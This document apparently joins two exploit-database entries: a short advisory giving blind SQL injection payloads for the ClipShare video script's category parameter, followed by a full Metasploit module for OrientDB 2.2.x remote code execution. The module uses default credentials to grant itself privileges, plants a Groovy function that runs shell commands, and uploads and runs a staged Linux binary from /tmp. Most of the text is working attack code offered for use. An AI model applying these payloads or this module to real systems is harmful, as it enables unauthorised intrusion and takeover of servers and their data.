# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-09

Product & Service Introduction:
===============================
ClipShare is the first and most popular PHP video script for building highly-profitable video sharing websites.

Technical Details & Description:
================================

SQL injection on [category] URI parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/videos/[category]' AND 5593=5593 AND 'LJPS'='LJPS

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: https://localhost/[path]/videos/[category]' AND 5593=5593 AND 'LJPS'='LJPS

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: https://localhost/[path]/videos/[category]' AND SLEEP(5) AND 'xNCN'='xNCN

==================
8bitsec - [https://twitter.com/_8bitsec]
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OrientDB 2.2.x Remote Code Execution',
      'Description'    => %q{
          This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
          All versions from 2.2.2 up to 2.2.22 should be vulnerable.
      },
      'Author'  =>
        [
          'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
          'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
          ['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
          ['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
        ],
      'Platform'  => %w{ linux unix win },
      'Privileged'  => false,
      'Targets'   =>
        [
          ['Linux',    {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
          ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
          ['Windows',  {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
        ],
      'DisclosureDate' => 'Jul 13 2017',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(2480),
        OptString.new('USERNAME', [ true,  'HTTP Basic Auth User', 'writer' ]),
        OptString.new('PASSWORD', [ true,  'HTTP Basic Auth Password', 'writer' ]),
        OptString.new('TARGETURI', [ true,  'The path to the OrientDB application', '/' ])
      ])
  end

  def check
    uri = target_uri
    uri.path = normalize_uri(uri.path)
    res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
    if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
      print_good("Version: #{res.headers['Server']}")
      return Exploit::CheckCode::Vulnerable
    else
      print_status("Version: #{res.headers['Server']}")
      return Exploit::CheckCode::Safe
    end
  end

  def http_send_command(cmd, opts = {})
    # 1 -Create the malicious function
    func_name = Rex::Text::rand_text_alpha(5).downcase
    request_parameters = {
      'method'    => 'POST',
      'uri'       => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
      'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
    }
    res = send_request_raw(request_parameters)
    if not (res and res.code == 201)
      begin
        json_body = JSON.parse(res.body)
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to create the malicious function.')
        return
      end
    end
    # 2 - Trigger the malicious function
    request_parameters = {
      'method'    => 'POST',
      'uri'       => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
      'data' => ""
    }
    req = send_request_raw(request_parameters)
    if not (req and req.code == 200)
      begin
        json_body = JSON.parse(res.body)
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
        return
      end
    end
    # 3 - Get the malicious function id
    if res && res.body.length > 0
      begin
        json_body = JSON.parse(res.body)["@rid"]
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
        return
      end
    end
    func_id = json_body.slice(1..-1)
    # 4 - Delete the malicious function
    request_parameters = {
      'method'    => 'DELETE',
      'uri'       => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'headers' => { 'Accept' => '*/*' },
      'data' => ""
    }
    rer = send_request_raw(request_parameters)
    if not (rer and rer.code == 204)
      begin
        json_body = JSON.parse(res.body)
      rescue JSON::ParserError
        fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
        return
      end
    end
  end

  def java_craft_runtime_exec(cmd)
    decoder = Rex::Text.rand_text_alpha(5, 8)
    decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
    cmd_array = Rex::Text.rand_text_alpha(5, 8)
    jcode =  "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
    jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
    jcode << "String [] #{cmd_array} = new String[3];\n"
    if target['Platform'] == 'win'
      jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
      jcode << "#{cmd_array}[1] = \"/c\";\n"
    else
      jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
      jcode << "#{cmd_array}[1] = \"-c\";\n"
    end
    jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
    jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
    jcode
  end

  def on_new_session(client)
    if not @to_delete.nil?
      print_warning("Deleting #{@to_delete} payload file")
      execute_command("rm #{@to_delete}")
    end
  end

  def execute_command(cmd, opts = {})
    vprint_status("Attempting to execute: #{cmd}")
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
    if res && res.code == 200 && res.body.length > 0
      begin
        json_body = JSON.parse(res.body)["databases"]
      rescue JSON::ParserError
        print_error("Unable to parse JSON")
        return
      end
    else
      print_error("Timeout or unexpected response...")
      return
    end
    targetdb = json_body[0]
    http_send_command(cmd,targetdb)
  end

  def linux_stager
    cmds = "echo LINE | tee FILE"
    exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
    base64 = Rex::Text.encode_base64(exe)
    base64.gsub!(/\=/, "\\u003d")
    file = rand_text_alphanumeric(4+rand(4))
    execute_command("touch /tmp/#{file}.b64")
    cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
    base64.each_line do |line|
      line.chomp!
      cmd = cmds
      cmd.gsub!(/LINE/, line)
      execute_command(cmds)
    end
    execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
    execute_command("chmod +x /tmp/#{file}")
    execute_command("rm /tmp/#{file}.b64")
    execute_command("/tmp/#{file}")
    @to_delete = "/tmp/#{file}"
  end

  def exploit
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
    if res && res.code == 200 && res.body.length > 0
      begin
        json_body = JSON.parse(res.body)["databases"]
      rescue JSON::ParserError
        print_error("Unable to parse JSON")
        return
      end
    else
      print_error("Timeout or unexpected response...")
      return
    end
    targetdb = json_body[0]
    privs_enable = ['create','read','update','execute','delete']
    items = ['database.class.ouser','database.function','database.systemclusters']
    # Set the required DB permissions
    privs_enable.each do |priv|
      items.each do |item|
       request_parameters = {
        'method'    => 'POST',
        'uri'       => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
        'vars_get' => { 'format' => 'rid,type,version,class,graph' },
        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
        'headers' => { 'Accept' => '*/*' },
        'data' => "GRANT #{priv} ON #{item} TO writer"
       }
       res = send_request_raw(request_parameters)
      end
    end
    # Exploit
    case target['Platform']
    when 'win'
      print_status("#{rhost}:#{rport} - Sending command stager...")
      execute_cmdstager(flavor: :vbs)
    when 'unix'
      print_status("#{rhost}:#{rport} - Sending payload...")
      res = http_send_command("#{payload.encoded}","#{targetdb}")
    when 'linux'
      print_status("#{rhost}:#{rport} - Sending Linux stager...")
      linux_stager
    end
    handler
    # Final Cleanup
    privs_enable.each do |priv|
      items.each do |item|
       request_parameters = {
        'method'    => 'POST',
        'uri'       => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
        'vars_get' => { 'format' => 'rid,type,version,class,graph' },
        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
        'headers' => { 'Accept' => '*/*' },
        'data' => "REVOKE #{priv} ON #{item} FROM writer"
       }
       res = send_request_raw(request_parameters)
      end
    end
   end
end